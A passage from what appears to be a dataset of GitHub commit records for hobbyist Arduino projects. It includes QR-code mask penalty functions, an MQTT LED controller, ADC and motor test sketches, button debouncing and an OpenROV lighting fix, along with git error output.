+=1;\/\/add 1 for each additional in a row\n }\n }else{\n colorCount=0;\/\/not consecutive reset counter\n currentColor=bitRead(qrBuff[i],j);\/\/color change\n }\n }\n }\/\/end of column test\n return penaltyTotal;\/\/total penalty for this test\n}\/\/ end of QReval_1\n\nint QReval_2(){\n\/*For second evaluation condition, look for areas of the same color that are at least 2x2 modules or larger. \n The QR code specification says that for a solid-color block of size m \u00d7 n, the penalty score is 3 \u00d7 (m - 1) \u00d7 (n - 1). \n However, the QR code specification does not specify how to calculate the penalty when there are multiple ways of \n dividing up the solid-color blocks.\n\n Therefore, rather than looking for solid-color blocks larger than 2x2, simply add 3 to the penalty score for every \n 2x2 block of the same color in the QR code, making sure to count overlapping 2x2 blocks. For example, a 3x2 block \n of the same color should be counted as two 2x2 blocks, one overlapping the other.\n http:\/\/www.thonky.com\/qr-code-tutorial\/data-masking\/#evaluation-condition-2\n \n \/\/ x selects the bit of the buffer\n \/\/ x = 0 represents the first column of the module\n \/\/ y selects the 32 bit the word of the buffer\n \/\/ bit 0 represents the top most module\n *\/\n int penaltyTotal=0;\n if(qrV == 1){\n qrM = 21;\/\/number of modules per side\n }\n if(qrV == 2){\n qrM = 25;\/\/number of modules per side\n }\n if(qrV == 3){\n qrM = 29;\/\/number of modules per side\n }\n \/\/ 2x2 test: count # of 2x2 modules of same color \n for(int j=0;j<qrM-1;j++){\/\/ move top to bottom\n int currentColor = -1;\/\/no color reset after each row\n for(int i=0;i<qrM-1;i++){\/\/ move left to right\n currentColor = bitRead(qrBuff[i],j);\n if(bitRead(qrBuff[i],j+1) == currentColor && bitRead(qrBuff[i+1],j) == currentColor && bitRead(qrBuff[i+1],j+1) == currentColor){\n \/\/mod to right, below and diagonal same color\n penaltyTotal +=3;\/\/add 3 for each 2x2\n }\n }\n }\/\/end of 2x2 test\n return penaltyTotal;\/\/total penalty for this test\n}\/\/end of QReval_2\n\nint QReval_3(){\n\/*\nThe third penalty rule looks for patterns of dark-light-dark-dark-dark-light-dark that have four light modules on either side. \nIn other words, it looks for any of the following two patterns:\n 10111010000\nOR\n 00001011101\nEach time this pattern is found, add 40 to the penalty score. \n*\/\n\nint penaltyTotal=0;\n if(qrV == 1){\n qrM = 21;\/\/number of modules per side\n }\n if(qrV == 2){\n qrM = 25;\/\/number of modules per side\n }\n if(qrV == 3){\n qrM = 29;\/\/number of modules per side\n }\n \/\/ pattern test: detect 10111010000(0x05D0 and patterns 000 0101 1101(0x005D)\n unsigned int pattern1 = 0x05D0;\n unsigned int pattern2 = 0x005D;\n unsigned int patternMask = 0x07FF;\/\/last 11 bits\n \/\/check for patterns in rows\n for(int j=0;j<qrM;j++){\/\/ move top to bottom\n int currentPattern = 0;\/\/reset after each row\n for(int i=0;i<qrM-10;i++){\/\/ move left to right\n currentPattern = currentPattern + bitRead(qrBuff[i],j);\n if(currentPattern == pattern1 || currentPattern == pattern2 && i>10){\/\/need all the current bits loaded before test\n penaltyTotal +=40;\/\/add 40 for each match\n }\n currentPattern = currentPattern <<1;\/\/shift bits 1 position\n currentPattern = currentPattern & patternMask;\/\/ mask to 11 bit pattern\n }\n }\/\/end of pattern in rows test\n \/\/ patterns in column test \n for(int i=0;i<qrM;i++){\/\/ move left to right\n int currentPattern = 0;\/\/reset after each column \n for(int j=0;j<qrM;j++){\/\/ move top to bottom\n currentPattern = currentPattern + bitRead(qrBuff[i],j);\n if(currentPattern == pattern1 || currentPattern == pattern2 && j>10){\/\/need all the current bits loaded before test\n penaltyTotal +=40;\/\/add 40 for each match\n }\n currentPattern = currentPattern <<1;\/\/shift bits 1 position\n currentPattern = currentPattern & patternMask;\/\/ mask to 11 bit pattern\n }\n }\/\/end of pattern in columns test\n return penaltyTotal;\/\/total penalty for this test\n\n}\/\/end of QReval_3\n\nint QReval_4(){\n\/*\nThis evaluation condition is based on the ratio of light modules to dark modules. \nTo calculate this penalty rule, do the following steps:\n Count the total number of modules in the matrix.\n Count how many dark modules there are in the matrix.\n Calculate the percent of modules in the matrix that are dark: (darkmodules \/ totalmodules) * 100\n Determine the previous and next multiple of five of this percent. \n For example, for 43 percent, the previous multiple of five is 40, and the next multiple of five is 45.\n Subtract 50 from each of these multiples of five and take the absolute value of the result. \n For example, |40 - 50| = |-10| = 10 and |45 - 50| = |-5| = 5.\n Divide each of these by five. \n For example, 10\/5 = 2 and 5\/5 = 1.\n Finally, take the smallest of the two numbers and multiply it by 10. \n In the example above, the lower number is 1, so the result is 10. This is penalty score #4.\n*\/\n\n if(qrV == 1){\n qrM = 21;\/\/number of modules per side\n }\n if(qrV == 2){\n qrM = 25;\/\/number of modules per side\n }\n if(qrV == 3){\n qrM = 29;\/\/number of modules per side\n }\n int numMods = qrM * qrM;\/\/ get number of all modules\n int darkCount=0;\n \/\/ count # of dark modules\n for(int j=0;j<qrM;j++){\/\/ move top to bottom\n for(int i=0;i<qrM;i++){\/\/ move left to right\n if(bitRead(qrBuff[i],j) == 1){\n darkCount++;\/\/add 1 because it is dark\n }\n }\n }\/\/end of dark count\n long int perCentDark = darkCount*100\/numMods;\/\/calculate percent dark meh\n int prev5 = perCentDark \/ 5 * 5;\n int next5 = prev5 + 5;\n int prev = abs(prev5 - 50)\/5;\n int next = abs(next5 - 50)\/5;\n if(prev < next){\/\/return the smaller value\n return prev * 10;\n }else{\n return next * 10;\n } \n \/\/return perCentDark;\n}\/\/ end of QReval_4\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Grading.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3edbffc0315832853ce8af45542f2b35061404ab","subject":"Create linkit7688_mqtt.ino","message":"Create linkit7688_mqtt.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"linkit\/linkit7688_mqtt.ino","new_file":"linkit\/linkit7688_mqtt.ino","new_contents":"import paho.mqtt.client as mqtt\nimport json, time\nimport mraa\n\nled = mraa.Gpio(2)\nled.dir(mraa.DIR_OUT) # set direction to output\n\n# ----- CHANGE THESE FOR YOUR SETUP -----\nMQTT_HOST = \"190.97.168.101\"\nMQTT_PORT = 1883\nAPIKEY = \"your_api_key\"\nUSERNAME = \"username\"\nPASSWORD = \"password\"\n# ---------------------------------------\n\n\n# The callback function for when the client connects to broker\ndef on_connect(client, userdata, rc):\n print(\"\\nConnected with result code \" + str(rc) + \"\\n\")\n\n #Subscribing in on_connect() means that if we lose the connection and\n # reconnect then subscriptions will be renewed.\n client.subscribe(\"\/pryxo\/yxusers\/USERNAME\/APIKEY\/iot\/control\/\") # Connect to everything in \/mcu topic\n print(\"Subscibed to \/mcu\/linkit7688\")\n\n\n# The callback function for when a message on \/mcu\/rgbled_status\/ is published\ndef on_message_rgbled(client, userdata, msg):\n print(\"\\n\\t* LED UPDATED (\"+msg.topic+\"): \" + str(msg.payload))\n if msg.payload == \"gpio2on\": \n\tled.write(1)\t\n client.publish(\"\/pryxo\/yxusers\/USERNAME\/APIKEY\/iot\/status\/\", \"gpio2onst\", 2)\n if msg.payload == \"gpio2off\":\n led.write(0) \n client.publish(\"\/pryxo\/yxusers\/USERNAME\/APIKEY\/iot\/status\/\", \"gpio2offst\", 2)\n# Call this if input is invalid\ndef command_error():\n print(\"Error: Unknown command\")\n\n\n\n# Create an MQTT client instance\nclient = mqtt.Client(client_id=\"python-commander\")\n\n# Callback declarations (functions run based on certain messages)\nclient.on_connect = on_connect\nclient.message_callback_add(\"\/pryxo\/yxusers\/USERNAME\/APIKEY\/iot\/control\/\", on_message_rgbled)\n\n\n# This is where the MQTT service connects and starts listening for messages\nclient.username_pw_set(USERNAME, PASSWORD)\nclient.connect(MQTT_HOST, MQTT_PORT, 60)\nclient.loop_start() # Background thread to call loop() automatically\n\n# Main program loop\nwhile True:\n time.sleep(10) \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'linkit\/linkit7688_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12016b852cf6819ca1e23857957636a470a8fffb","subject":"hmm we must disable the endstops at start \u2026 ??","message":"hmm we must disable the endstops at start \u2026 ??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"169e295be89e7c2f7f5fd8b95286f2157556b794","subject":"Create MainCode.ino","message":"Create MainCode.ino","repos":"Archangel7\/Micro-Mouse,Archangel7\/Micro-Mouse","old_file":"MainCode.ino","new_file":"MainCode.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Adafruit_CC3000.h>\n#include <Adafruit_CC3000_Server.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <Wire.h>\n#include <QTRSensors.h>\n#include <Adafruit_MotorShield.h>\n#include <LiquidCrystal.h>\n#include \"Arduino.h\"\n#include \"sense.h\"\n#include \"LCD.h\"\n\/\/#include \"MOTORS.h\"\n#include \"SoftwareSerial.h\"\n\nSENSORS sensor;\nMOTORS motors;\nLCD lc;\nBTconnect bt;\n\nvoid setup()\n{\n Serial.begin(4800);\n \/\/ lc.initilize();\n bt.setupBlueToothConnection();\n motors.motorSet();\n}\nint button;\nvoid loop()\n{\n bt.listening();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MainCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b62da2f3fbdcb4e6fecbe6bfb7c80ae54429907a","subject":"Placement settings","message":"Placement settings\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0cf98431a270b8fed2a52f2eaa15e29085254eda","subject":"added ADS1115 code arduino","message":"added ADS1115 code arduino\n\nadded arduino example code for reading 1 channel using adafruit library\n","repos":"ralph-sj\/solar-cell-profiling,ralph-sj\/solar-cell-profiling","old_file":"software\/arduino\/test_ads1115\/test_ads1115.ino","new_file":"software\/arduino\/test_ads1115\/test_ads1115.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_ADS1015.h>\n\n\/\/ Adafruit_ADS1115 ads; \/* Use this for the 16-bit version *\/\nAdafruit_ADS1015 ads; \/* Use thi for the 12-bit version *\/\n\n const int analogOutPin = 3; \/\/ Analog output pin\n int outputValue = 0; \/\/ value output to the PWM (analog out)\n \nvoid setup(void) \n{\n Serial.begin(9600);\n Serial.println(\"Hello!\");\n \n Serial.println(\"Getting single-ended readings from AIN0..3\");\n Serial.println(\"ADC Range: +\/- 6.144V (1 bit = 3mV\/ADS1015, 0.1875mV\/ADS1115)\");\n \n \/\/ The ADC input range (or gain) can be changed via the following\n \/\/ functions, but be careful never to exceed VDD +0.3V max, or to\n \/\/ exceed the upper and lower limits if you adjust the input range!\n \/\/ Setting these values incorrectly may destroy your ADC!\n \/\/ ADS1015 ADS1115\n \/\/ ------- -------\n \/\/ ads.setGain(GAIN_TWOTHIRDS); \/\/ 2\/3x gain +\/- 6.144V 1 bit = 3mV 0.1875mV (default)\n \/\/ ads.setGain(GAIN_ONE); \/\/ 1x gain +\/- 4.096V 1 bit = 2mV 0.125mV\n \/\/ ads.setGain(GAIN_TWO); \/\/ 2x gain +\/- 2.048V 1 bit = 1mV 0.0625mV\n \/\/ ads.setGain(GAIN_FOUR); \/\/ 4x gain +\/- 1.024V 1 bit = 0.5mV 0.03125mV\n \/\/ ads.setGain(GAIN_EIGHT); \/\/ 8x gain +\/- 0.512V 1 bit = 0.25mV 0.015625mV\n \/\/ ads.setGain(GAIN_SIXTEEN); \/\/ 16x gain +\/- 0.256V 1 bit = 0.125mV 0.0078125mV\n \n ads.begin();\n\n\n analogWrite(analogOutPin, outputValue);\n\n Serial.println(\"AIN0:\"); \n}\n\nvoid loop(void) \n{\n analogWrite(analogOutPin, outputValue);\n outputValue += 1;\n if (outputValue > 100)\n {\n outputValue = 0;\n }\n\n int16_t adc0, adc1, adc2, adc3;\n long ADC;\n\n adc0 = ads.readADC_SingleEnded(0);\n adc1 = ads.readADC_SingleEnded(0);\n adc2 = ads.readADC_SingleEnded(0);\n adc3 = ads.readADC_SingleEnded(0);\n\n ADC = adc0 + adc1; \/\/ + adc2 + adc3; \/\/ sum readings\n\n ADC = ADC >> 1; \/\/ divide by 4\n \n\/\/ adc1 = ads.readADC_SingleEnded(1);\n\/\/ adc2 = ads.readADC_SingleEnded(2);\n\/\/ adc3 = ads.readADC_SingleEnded(3);\n\n\/\/ Serial.println(ADC);\n Serial.println(adc0);\n\n\/\/ Serial.print(\"AIN1: \"); Serial.println(adc1);\n\/\/ Serial.print(\"AIN2: \"); Serial.println(adc2);\n\/\/ Serial.print(\"AIN3: \"); Serial.println(adc3);\n\/\/ Serial.println(\" \");\n \n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/arduino\/test_ads1115\/test_ads1115.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4ad108ce52f39780c92ae67a8eae24f6a598d0a","subject":"update","message":"update\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9f052820be1b8f2a12a2c2498aeaa7b2388116d6","subject":"Added Heartbeat msg every hour","message":"Added Heartbeat msg every hour\n","repos":"xnsense\/xns-firmware,xnsense\/xns-firmware","old_file":"Prototypes\/A7 Test\/A7_Test_Sleep\/A7_Test_Sleep.ino","new_file":"Prototypes\/A7 Test\/A7_Test_Sleep\/A7_Test_Sleep.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Prototypes\/A7' did not match any file(s) known to git\nerror: pathspec 'Test\/A7_Test_Sleep\/A7_Test_Sleep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f50f629c4d81179931d422ac6e2401cde62d9171","subject":"add voice-light-led","message":"add voice-light-led\n","repos":"xnnyygn\/electronic-technology,xnnyygn\/electronic-technology,xnnyygn\/electronic-technology","old_file":"voice-light-led\/voice-light-led.ino","new_file":"voice-light-led\/voice-light-led.ino","new_contents":"#define PIN_VOICE 2\n#define PIN_LIGHT 0\n#define PIN_LED 13\n\nvoid setup() {\n pinMode(PIN_VOICE, INPUT);\n pinMode(PIN_LED, OUTPUT);\n}\n\nvoid loop() {\n if(digitalRead(PIN_VOICE) == LOW && analogRead(PIN_LIGHT) > 200){\n digitalWrite(PIN_LED, HIGH);\n delay(200);\n digitalWrite(PIN_LED, LOW);\n delay(10);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'voice-light-led\/voice-light-led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d804da32181f10192675aff03f4eecc7b19bfbb4","subject":"moved code for setting button values into its own file","message":"moved code for setting button values into its own file\n","repos":"davish\/trinket-watch,dbh937\/trinket-watch","old_file":"buttons.ino","new_file":"buttons.ino","new_contents":"\nint lastButtonStates[] = {0, 0, 0};\nlong lastDebounceTimes[] = {0, 0, 0};\nlong debounceDelay = 50;\nint lastReadings[] = {0,0,0};\n\nvoid updateButtonStates() {\n for (int i = 0; i < 3; ++i) {\n int reading = digitalRead(bpins[i]);\n if (reading != lastButtonStates[i]) {\n lastDebounceTimes[i] = millis();\n }\n if ((millis() - lastDebounceTimes[i]) > debounceDelay) {\n if (reading == LOW) {\n buttons[i] = 1;\n } else {\n buttons[i] = 0;\n } \n }\n lastButtonStates[i] = reading;\n }\n}\n\nboolean pressedOnce(int b) {\n updateButtonStates();\n boolean r;\n if (buttons[b] != lastReadings[b] && buttons[b])\n r = true;\n else\n r = false;\n lastReadings[b] = buttons[b];\n return r;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buttons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d47561e524cfc3f454e99fc1294e6a609cdd5660","subject":"Add the arduino sketch to test the rover movement.","message":"Add the arduino sketch to test the rover movement.\n","repos":"mparra-mpz\/Pathfinder,mparra-mpz\/Pathfinder","old_file":"arduino\/rover-movement\/rover-movement.ino","new_file":"arduino\/rover-movement\/rover-movement.ino","new_contents":"\/*\n * Author: Manuel Parra Z.\n * Date: 14\/11\/2015\n * License: MIT License\n * Materials:\n * - Arduino Uno R3\n * - DFRobot DF-MD V1.3\n * - DFRobot Pirate 4WD\n * Description:\n * This sketch will use as a movement test, first the rover will go foward\n * on the track, then it will go reverse, then will turn to left and finally\n * will turn to right. This sketch will show you the if you connected the\n * engines and batteries properly. Don't forget to review the fritzing\n * electronic diagram in the document section of the project\n *\/\n \n \nint M1 = 4;\nint E1 = 5;\nint E2 = 6;\nint M2 = 7;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(M1, OUTPUT);\n pinMode(E1, OUTPUT);\n pinMode(M2, OUTPUT);\n pinMode(E2, OUTPUT);\n Serial.println(\"Setup finished.\");\n}\n\nvoid loop()\n{\n Serial.println(\"Foward for 3 seconds.\");\n digitalWrite(M1, HIGH);\n digitalWrite(M2, HIGH);\n analogWrite(E1, 200);\n analogWrite(E2, 200);\n delay(3000);\n \n Serial.println(\"Reverse for 3 seconds.\");\n digitalWrite(M1, LOW);\n digitalWrite(M2, LOW);\n analogWrite(E1, 200);\n analogWrite(E2, 200);\n delay(3000);\n \n Serial.println(\"Left for 3 seconds.\");\n digitalWrite(M1, LOW);\n digitalWrite(M2, HIGH);\n analogWrite(E1, 200);\n analogWrite(E2, 200);\n delay(3000);\n \n Serial.println(\"Right for 3 seconds.\");\n digitalWrite(M1, HIGH);\n digitalWrite(M2, LOW);\n analogWrite(E1, 200);\n analogWrite(E2, 200);\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/rover-movement\/rover-movement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6e5dc11c8f4e26a2611f37758fb2563623c1316e","subject":"initial commit of main firmware function. includes all correct pin connections as per V01 schematic. code has rough frame work. still needs many function filled out.","message":"initial commit of main firmware function. includes all correct pin connections as per V01 schematic.\ncode has rough frame work. still needs many function filled out.\n","repos":"openxc\/shiftknob-android","old_file":"arduinoTest\/main_control\/main_control.ino","new_file":"arduinoTest\/main_control\/main_control.ino","new_contents":"\/*\n-------------------------------------------------\n| Zachary Nelson\n| znelson1@ford.com\n| This is the main program for the shift knob\n| firmware. Attached components and functionality include:\n| 1) vibration motor control\n| 2) user input button\n| 3) 7 segment display w\/ shift register\n| 4) 3 RGB LEDs \n| 5) brightness control for 7 segment\n| 7) serial communication with Android host device\n---------------------------------------------------\n*\/ \n\n\/\/libraries used:\n#include <PinChangeInt.h>\n#include <PinChangeIntConfig.h>\n\n\/\/ pin definitions\nint motorPin = 5; \/\/pwm\nint buttonPin = 12;\nint 7segBrightness = 6; \/\/pwm\nint redLED = 9; \/\/pwm\nint blueLED = 10; \/\/pwm\nint greenLED = 11; \/\/pwm\n\n\/\/ shift register pins\nint shiftDataPin = 4; \/\/SERIAL\nint shiftClockPin = 8; \/\/SCK\nint shiftLatchPin = 7; \/\/RCK\n\n\/\/7 segment digits. individual segments are turned on when \n\/\/the cooresponding pin on the shift register is low.\nint digit0 = 0b10001000;\nint digit1 = 0b11101110;\nint digit2 = 0b10010100;\nint digit3 = 0b11000100;\nint digit4 = 0b11100010;\nint digit5 = 0b11000001;\nint digit6 = 0b10000011;\nint digit7 = 0b11101100;\nint digit8 = 0b10000000;\nint digit9 = 0b11100000;\n\/\/ if you want to add in the decimal point simply subtract 0b10000000 from each number\n\nString inputString = \"\";\nboolean stringComplete = false;\nint i =0;\n\nvoid setup(){\n pinMode(motorPin, OUTPUT);\n pinMode(7segBrightness, OUTPUT);\n pinMode(redLED, OUTPUT);\n pinMode(blueLED, OUTPUT);\n pinMode(greenLED, OUTPUT);\n pinMode(shiftDataPin, OUTPUT);\n pinMode(shiftClockPin, OUTPUT);\n pinMode(shiftLatchPin, OUTPUT);\n pinMode(buttonPin, INPUT);\n \n digitalWrite(buttonPin, HIGH); \/\/turn on internal resistor\n digitalWrite(motorPin, LOW);\n digitalWrite(7segBrightness, HIGH);\n digitalWrite(redLED, LOW);\n digitalWrite(blueLED, LOW);\n digitalWrite(greenLED, LOW);\n \n PCintPort::attachInterrupt(buttonPin, onClick, FALLING);\n \n Serial.begin(115200);\n}\n\nvoid onClick() {\n delay(50); \/\/ button debounce. could be adjusted\n \/\/ let Android app know that a button has been clicked\n\n}\n\nvoid serialEvent() {\n \/\/properly decode input serial message\n while (Serial.available()){\n char inChar = (char)Serial.read();\n inputString += inChar;\n \/\/.......\n \n}\n\nvoid motorControl(boolean t) {\n \/\/ could add fancy motor control profiles here\n if (t) {\n analogWrite(motorPin, 255);\n }\n else {\n analogWrite(motorPin, 0);\n }\n}\n\nvoid update7seg(int digit) {\n digitalWrite(shiftLatchPin, LOW);\n shiftOut(shiftDataPin, shiftClockPin, LSBFIRST, digit);\n digitalWrite(shiftLatchPin, HIGH);\n}\n\nvoid loop(){\n \/\/main loop function\n if (stringComplete) {\n \/\/ do something...\n }\n \n inputString = \"\";\n stringComplete = false;\n}\n \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoTest\/main_control\/main_control.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8f16085a241faf1ed2b99cf396c8fbd67ecb3df7","subject":"Update RELAY_BETA.ino","message":"Update RELAY_BETA.ino","repos":"Garuda-1\/RealityGateway,Garuda-1\/RealityGateway","old_file":"SOFTWARE\/RELAY_BETA.ino","new_file":"SOFTWARE\/RELAY_BETA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Garuda-1\/RealityGateway.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ee9cd194391ac46441bb487dd750e3a533513f72","subject":"Re-factor Conway-Life","message":"Re-factor Conway-Life\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"conway-life-128x64\/conway-life-128x64.ino","new_file":"conway-life-128x64\/conway-life-128x64.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6139833b837c45b4d708e059ac955ddada9fc3c7","subject":"Going back to basics :metal:","message":"Going back to basics :metal:\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"786169f264c4fac61f925394ff809e54bab5c968","subject":"Fixing Arduino code to enable the Lights on AUX1\/P11 on the cape","message":"Fixing Arduino code to enable the Lights on AUX1\/P11 on the cape\n","repos":"spiderkeys\/openrov-cockpit,OpenROV\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BrianAdams\/openrov-cockpit,kavi87\/openrov-cockpit,OpenROV\/openrov-cockpit,BrianAdams\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,spiderkeys\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,kavi87\/openrov-cockpit,OpenROV\/openrov-cockpit,kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,johan--\/openrov-cockpit,BrianAdams\/openrov-cockpit,BrianAdams\/openrov-cockpit,johan--\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,spiderkeys\/openrov-cockpit,spiderkeys\/openrov-cockpit,kavi87\/openrov-cockpit","old_file":"arduino\/OpenROV\/OpenROV.ino","new_file":"arduino\/OpenROV\/OpenROV.ino","new_contents":"#include <Servo.h>\n#include <Arduino.h>\n#include \"Motors.h\"\n#include \"Command.h\"\n#include \"Device.h\"\n#include \"Timer.h\"\n\n\nMotors motors(9, 10, 11);\nCommand cmd;\nDevice led(\"led\", 4, led.analog, led.out);\nDevice vout(\"vout\", 0, vout.analog, vout.in);\nTimer time;\n\nServo tilt, light;\n\/\/ IMPORTANT!\n\/\/ array[0] will be the number of arguments in the command\nint array[MAX_ARGS];\n\n\nvoid setup(){\n\n Serial.begin(115200);\n\n pinMode(13, OUTPUT);\n \n tilt.attach(3);\n light.attach(5);\n \n motors.reset();\n led.reset();\n\n time.reset();\n}\n\nvoid loop(){\n \n if (Serial.available()) {\n \/\/ blocks output data... TODO: need a way of calculating frequency for device data\n delay(30);\n \/\/ Get command from serial buffer\n cmd.get();\n\n \/\/ do something with the command, what command is it?\n if (cmd.cmp(\"tilt\")) {\n cmd.parse(array);\n int tilt_val = array[1];\n tilt.write(tilt_val);\n }\n else if (cmd.cmp(\"go\")) {\n cmd.parse(array);\n int p = array[1];\n int v = array[2];\n int s = array[3];\n motors.go(p, v, s); \n }\n else if (cmd.cmp(\"light\")) {\n cmd.parse(array);\n int value = array[1];\n light.write(value);\n }\n else {\n motors.stop(); \n }\n }\n\n \/\/ send voltage\n if (time.elapsed(1000)) {\n vout.send(vout.read());\n Serial.print(\"time:\");\n Serial.println(millis());\n }\n \/\/ else if (time.elapsed(500)) {\n \/\/ digitalWrite(13, HIGH);\n \/\/ delay(200);\n \/\/ digitalWrite(13, LOW);\n \/\/ }\n\n}\n","old_contents":"#include <Servo.h>\n#include <Arduino.h>\n#include \"Motors.h\"\n#include \"Command.h\"\n#include \"Device.h\"\n#include \"Timer.h\"\n\n\nMotors motors(9, 10, 11);\nCommand cmd;\nDevice led(\"led\", 4, led.analog, led.out);\nDevice vout(\"vout\", 0, vout.analog, vout.in);\nTimer time;\n\nServo tilt, light;\n\/\/ IMPORTANT!\n\/\/ array[0] will be the number of arguments in the command\nint array[MAX_ARGS];\n\n\nvoid setup(){\n\n Serial.begin(115200);\n\n pinMode(13, OUTPUT);\n \n tilt.attach(3);\n light.attach(6);\n \n motors.reset();\n led.reset();\n\n time.reset();\n}\n\nvoid loop(){\n \n if (Serial.available()) {\n \/\/ blocks output data... TODO: need a way of calculating frequency for device data\n delay(30);\n \/\/ Get command from serial buffer\n cmd.get();\n\n \/\/ do something with the command, what command is it?\n if (cmd.cmp(\"tilt\")) {\n cmd.parse(array);\n int tilt_val = array[1];\n tilt.write(tilt_val);\n }\n else if (cmd.cmp(\"go\")) {\n cmd.parse(array);\n int p = array[1];\n int v = array[2];\n int s = array[3];\n motors.go(p, v, s); \n }\n else if (cmd.cmp(\"light\")) {\n cmd.parse(array);\n int light = array[1];\n led.write(light);\n }\n else {\n motors.stop(); \n }\n }\n\n \/\/ send voltage\n if (time.elapsed(1000)) {\n vout.send(vout.read());\n Serial.print(\"time:\");\n Serial.println(millis());\n }\n \/\/ else if (time.elapsed(500)) {\n \/\/ digitalWrite(13, HIGH);\n \/\/ delay(200);\n \/\/ digitalWrite(13, LOW);\n \/\/ }\n\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"7e5512aece9a2c3b8b57c048a21f8e34352d552e","subject":"Basic user_input.","message":"Basic user_input.\n\nRecieve 32 bytes and display them.\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 